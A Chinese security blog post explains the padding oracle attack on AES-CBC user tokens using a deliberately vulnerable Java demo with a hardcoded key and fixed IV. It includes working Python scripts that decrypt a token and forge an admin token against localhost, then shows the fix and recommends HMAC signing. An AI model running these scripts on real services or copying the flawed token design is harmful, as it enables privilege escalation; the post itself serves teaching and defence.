Padding Oracle——1种加密算法的攻击方法介绍

0x00 前言

这里结合实际遇到的实现用户Token场景,在设计上使用了AES-CBC加密算法,会有些安全问题需要注意。因此,写下这篇文章分享下1个有趣的攻击方法。文章会简单其介绍原理,着重给出1个代码示例场景,来介绍1种加密算法的攻击方法——padding oracle。 文章会首先给出代码业务场景,再从攻击者视角阐述整个攻击过程,接着从RD程序员视角剖析问题产生原因、定位错误代码,最后从安全视角讨论针对该攻击应该采取的安全措施、加密算法脆弱性。 总之,这里主要是根据自己审计代码的经验,来模拟展现黑客的攻击方法和攻击产生的直观效果,并提出一些安全方面的建议。深入padding oracle算法的攻击原理以及相关阅读材料,请看这篇文章

0x01 简单原理介绍

直接看Demo和攻击实现,可跳过这部分。

1.加密基础和攻击方法

强烈建议直接看参考文章1这里根据我自己的理解,简单提取几个点:

  • AES是分组加密的,明文的最后一个Block不足分组长度时,会填充一个固定值,大小是需填充的字节总数。
    填充规则具体为:(引用参考文章1的图)

  • AES算法的CBC模式。在每个Block解密后,会异或”前一个密文Block”,得到明文。若最后1个解密出的明文padding填充值错误,会导致解密不成功,报错。

  • 攻击者通过不断改变“前一个Block”,改变“后1个Block密文”的明文。通过返回结果,来判断解密是否成功。进而获取“后一个Block”解密出的“立即数”,得到“立即数”就能解密密文,加密明文。
  • 大于2组的密文,攻击者可以按规则选取其中2组block进行尝试,从而达到加密解密所有Block的效果。

2.攻击条件

该攻击产生的必要条件:

  • 密文的解密成功和失败,会出现不一样的响应(Response)。
  • AES-CBC模式的加密模式。

3.攻击效果

Padding Oracle攻击可以达到的效果:

  • 任意密文===>明文。
  • 任意明文===>密文。

相当于攻击者已经知道了密钥。

0x02 业务场景模拟

以下场景纯属虚构,如有雷同,纯属巧合~ 软件开发工程师小明同学接到了研发任务,需要实现1套用户Token体系,Token存储用户的ID、角色(是否为管理员)等信息。 小明同学设计了以下方案:

  • 用户的ID和角色信息使用JSON格式存储。
  • 使用高级加密算法(AES-CBC模式)对JSON格式的用户信息进行加密。
  • 后端通过解密Token来提取用户ID和角色信息。

于是,小明同学开始废寝忘食地写代码。 用户信息的Model类,如下:

1
2
3
4
5
@Data
public class AccountInfo {
int id;
boolean opAdmin; //是否为管理员
}

生成普通用户Token的/genGuestToken接口和校验用户Token的/checkToken接口,具体实现如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
private static final String AES_ALGORITHM = "AES";

private static final String AES_CBC_PKC_ALGORITHM = "AES/CBC/PKCS5Padding";

private static int ivSize = 16;

private static String mykey = "youareagoodman!@";

@RequestMapping("/checkToken")
public String decrpyt(String token) {
byte[] tokenBytes = Base64.getDecoder().decode(token);
byte[] iv = new byte[ivSize];
System.arraycopy(tokenBytes, 0, iv, 0, iv.length);
IvParameterSpec ivParameterSpec = new IvParameterSpec(iv);

int encryptedSize = tokenBytes.length - ivSize;
byte[] encryptedBytes = new byte[encryptedSize];
System.arraycopy(tokenBytes, ivSize, encryptedBytes, 0, encryptedSize);

byte[] keyBytes = mykey.getBytes();
SecretKeySpec secretKeySpec = new SecretKeySpec(keyBytes, AES_ALGORITHM);

byte[] plaintxt;
try {
Cipher cipherDecrypt = Cipher.getInstance(AES_CBC_PKC_ALGORITHM);
cipherDecrypt.init(Cipher.DECRYPT_MODE, secretKeySpec, ivParameterSpec);
plaintxt = cipherDecrypt.doFinal(encryptedBytes);
} catch (Exception e) {
//e.printStackTrace();
return "decrypt error";
}

System.out.println(new String(plaintxt));
try {
AccountInfo accountInfo = JSON.parseObject(plaintxt, AccountInfo.class);
if (accountInfo.isOpAdmin()) {
return "Welcome, My Admin";
}
}catch (Exception e){
return "parse json err~ ";
}
return "Welcome, My Guest";
}

@RequestMapping("/genGuestToken")
public String genGuestToken() {
// AES/CBC/Encrypt~
// https://gist.github.com/itarato/abef95871756970a9dad
AccountInfo accountInfo = new AccountInfo();
accountInfo.setId(100);
accountInfo.setOpAdmin(false);

String plainText = JSON.toJSONString(accountInfo);
System.out.println(plainText);
byte[] clean = plainText.getBytes();

byte[] iv = "JustDoIt:iv/cbc~".getBytes();
IvParameterSpec ivParameterSpec = new IvParameterSpec(iv);

byte[] keyBytes = mykey.getBytes();
SecretKeySpec secretKeySpec = new SecretKeySpec(keyBytes, "AES");

// Encrypt~
try {
Cipher cipher = Cipher.getInstance(AES_CBC_PKC_ALGORITHM);
cipher.init(Cipher.ENCRYPT_MODE, secretKeySpec, ivParameterSpec);
byte[] encrypted = cipher.doFinal(clean);

// Combine IV and encrypted part.
byte[] encryptedIVAndText = new byte[ivSize + encrypted.length];
System.arraycopy(iv, 0, encryptedIVAndText, 0, ivSize);
System.arraycopy(encrypted, 0, encryptedIVAndText, ivSize, encrypted.length);

return new String(Base64.getEncoder().encode(encryptedIVAndText));
} catch (Exception e) {
e.printStackTrace();
}
return "error";
}

上述代码的AES加解密部分,参考了github和部分业务代码上的实现。基本表达了业务场景:

  • 用户登陆后,会获得属于自己的秘密Token。代码里面使用/genGuestToken接口来模拟。
  • 用户在操作相关资源时,后端会首先通过解析Token来获取用户信息。这里使用/checkToken接口来模拟。

0x03 从攻击者视角看攻击过程和效果

1. 理清思路

安全工程师小华同学同样接到了任务,需要对小明同学写的系统进行安全评估工作。经过日以继夜地肉眼扫描,整理出了已知信息。

Token通过Base64解码,可以发现似乎是AES加密:字节长度为48,iv为JustDoIt:iv/cbc~
他翻了翻Web安全从业者必读书籍《白帽子讲Web安全》,惊喜地发现好像可以尝试paddingOracle攻击,于是他开始度过又一个宁静的夜晚。

2. 确定PaddingOracle攻击是否可行

首先,小华同学准备提取前2个Block的数据,变换iv的最后一位,看看会不会有啥不同。于是,他写了个python脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
# -*- coding: utf-8 -*-
__author__ = 'angelwhu'

import base64
import requests
import urllib

crypt_bytes = base64.b64decode("SnVzdERvSXQ6aXYvY2Jjfjhtbz4drcgEqHMHLK+gDcH9fJe4YJIIzmZKIh+nbqOR")

print crypt_bytes
print len(crypt_bytes)

session = requests.session()

headers = {"User-Agent": "Mozilla/5.0 (Linux; Android 9.0; Z832 Build/MMB29M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Mobile Safari/537.36",
"Accept": "*/*",
"Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
"Accept-Encoding": "gzip, deflate",
"x-requested-with": "XMLHttpRequest"}
for i in range(256):
token = crypt_bytes[:15] + chr(i) + crypt_bytes[16:32]
check_token = base64.b64encode(token)
print check_token
response = session.get("http://127.0.0.1:8080/checkToken?token="+urllib.quote(check_token), headers=headers)
print u''.join(response.text).encode('utf-8').strip();
print len(response.text)

结果很令人兴奋,发现存在唯一1个不一样的response:

1
2
3
SnVzdERvSXQ6aXYvY2JjEjhtbz4drcgEqHMHLK+gDcE=
"parse json err~ "
18

其余结果都是:

1
2
3
SnVzdERvSXQ6aXYvY2JjEThtbz4drcgEqHMHLK+gDcE=
"decrypt error"
15

小华兴奋地跳了起来,因为他知道这样就证明攻击是可以成功的。接下来,就是如何完整利用的问题了。

3. 使用padding Orcacle攻击解密Token

小华知道github上有个好用的工具可以自动化地实施该攻击。于是,他使用友好的python语言写了如下脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
# 利用padding oracle攻击解密密文,加密明文的代码 
# -*- coding: utf-8 -*-
from paddingoracle import BadPaddingException, PaddingOracle
from base64 import b64encode, b64decode
from urllib import quote, unquote
import requests
import socket
import time


class PadBuster(PaddingOracle):
def __init__(self, **kwargs):
super(PadBuster, self).__init__(**kwargs)
self.session = requests.Session()
self.wait = kwargs.get('wait', 2.0)

def oracle(self, data, **kwargs):
token = quote(b64encode(data))

while 1:
try:
response = self.session.get('http://127.0.0.1:8080/checkToken?token=' + token,
stream=False, timeout=5, verify=False)
break
except (socket.error, requests.exceptions.RequestException):
logging.exception('Retrying request in %.2f seconds...',
self.wait)
time.sleep(self.wait)
continue

self.history.append(response)

if "decrypt error" not in response.text:
logging.debug('No padding exception raised on %r', token)
return

raise BadPaddingException


if __name__ == '__main__':
import logging

logging.basicConfig(level=logging.DEBUG)

token = "SnVzdERvSXQ6aXYvY2Jjfjhtbz4drcgEqHMHLK+gDcH9fJe4YJIIzmZKIh+nbqOR"
encrypted_token = b64decode(token)

padbuster = PadBuster()

plaintext_padding = padbuster.decrypt(encrypted_token, block_size=16, iv=bytearray(16))
print('Decrypted some token: %s => %r' % (token, plaintext_padding))
'''
admin_plaintext_padding = '{"id":100,"opAdmin":true}'
encrypted_padding = padbuster.encrypt(admin_plaintext_padding, block_size=16, iv=bytearray(16))
print quote(b64encode(encrypted_padding))
'''

运行之后,成功解密了Token,得到了明文{"id":100,"opAdmin":false}

1
Decrypted some token: SnVzdERvSXQ6aXYvY2Jjfjhtbz4drcgEqHMHLK+gDcH9fJe4YJIIzmZKIh+nbqOR => bytearray(b'k<\x8a(\x19+l\xf2\x94\'sP\x1b%)\x15{"id":100,"opAdmin":false}\x06\x06\x06\x06\x06\x06')

小华同学现在可以“干坏事”了,他尝试提升自己权限为管理员,来证明漏洞存在。他尝试加密明文{"id":100,"opAdmin":true},得到1个管理员的Token。 代码在上面的注释部分,运行得到的Token为:cE5+Av3aJ5qnS8SIJ47s06y43A0e67DlcDZSNFJKRGAAAAAAAAAAAAAAAAAAAAAA。 ps:原工具加密明文的时候可能会有多出1个BlockSize的bug,有兴趣可以参考我这个commit改下~https://github.com/mwielgoszewski/python-paddingoracle/pull/7/commits/e5e690c7c7c7c5abaa6e09c6fb05599c4f4dea67. 小华同学使用这个Token,成功获取了管理员权限。对比GuestToken和管理员Token,如下:
小华同学终于满意地眯上了双眼,摸着稀疏的头发,迎接黎明。哟~又掉了两根。

0x04 从程序员视角看代码问题

RD小明同学收到了安全部关于漏洞测试的报告和修复建议,报告中提到:

  • 要防止padding oracle攻击其实很简单,让解密失败和解析JSON失败抛出相同的异常(返回给用户的Response一样)即可。这样攻击者无法利用额外的信息(侧信道)来判断密文是否有合适的padding并解密成功。安全方面有个原则,返回给用户的Application错误信息不要太详细,越少越好

小明同学意识到,攻击者通过程序返回的报错信息不同来判断Token是否能够成功AES解密。即:parse json err~decrypt error的不同。因此,将异常处理部分改成如下所示,修复了漏洞:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
try {
Cipher cipherDecrypt = Cipher.getInstance(AES_CBC_PKC_ALGORITHM);
cipherDecrypt.init(Cipher.DECRYPT_MODE, secretKeySpec, ivParameterSpec);
plaintxt = cipherDecrypt.doFinal(encryptedBytes);
} catch (Exception e) {
//e.printStackTrace();
return "error";
}

System.out.println(new String(plaintxt));
try {
AccountInfo accountInfo = JSON.parseObject(plaintxt, AccountInfo.class);
if (accountInfo.isOpAdmin()) {
return "Welcome, My Admin";
}
}catch (Exception e){
return "error";
}

上述代码情况下,无论Token是否成功解密,都只会返回相同的结果“error”。攻击者便无法从侧面信息,来判断Token的解密情况,也就无从下手了。

0x05 从安全视角看防护措施

站在安全的视角上来考虑,这种使用AES加密算法来存储用户Token的方法还是会有问题。比如:攻击者可以通过改变IV,进而改变第一个Block解密成明文的结果(有兴趣的同学可以搜索下CBC翻转攻击)。但攻击者不知道业务数据格式是怎样的,且只能改变第一个Block,存在局限性,但风险还是有的。 思考下,为什么会产生这样的安全风险呢? 我的理解是如何在业务中合理使用各种加密算法。在设计用户Token的时候,关键点应该是防止Token中的用户信息被篡改。在这样的前提下,应该优先考虑签名机制。

  • 推荐方案是:使用HMAC-SHA256哈希算法对用户Token再套1层签名机制,在服务端验证Token是否被篡改。网上也有一些最佳实践参考,比如:JWT Token方案。

多说下,加密算法本身也和Web技术一样在不断更迭中,合理地选型可以避免很多安全问题。

0x06 总结

简单总结下,本文简单介绍了padding oracle攻击的原理。主要通过模拟业务实现用户Token的Demo,从攻击者、程序员、安全工作者不同视角来讨论该攻击的过程、效果以及加密算法的合理使用及其脆弱性。

0x07 参考链接

我对Padding Oracle攻击的分析和思考(详细)
Padding oracle attack维基百科

文章作者: angelwhu
文章链接: https://www.angelwhu.com/paper/2019/06/04/padding-oracle-an-introduction-to-the-attack-method-of-one-encryption-algorithm/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 angelwhu_blog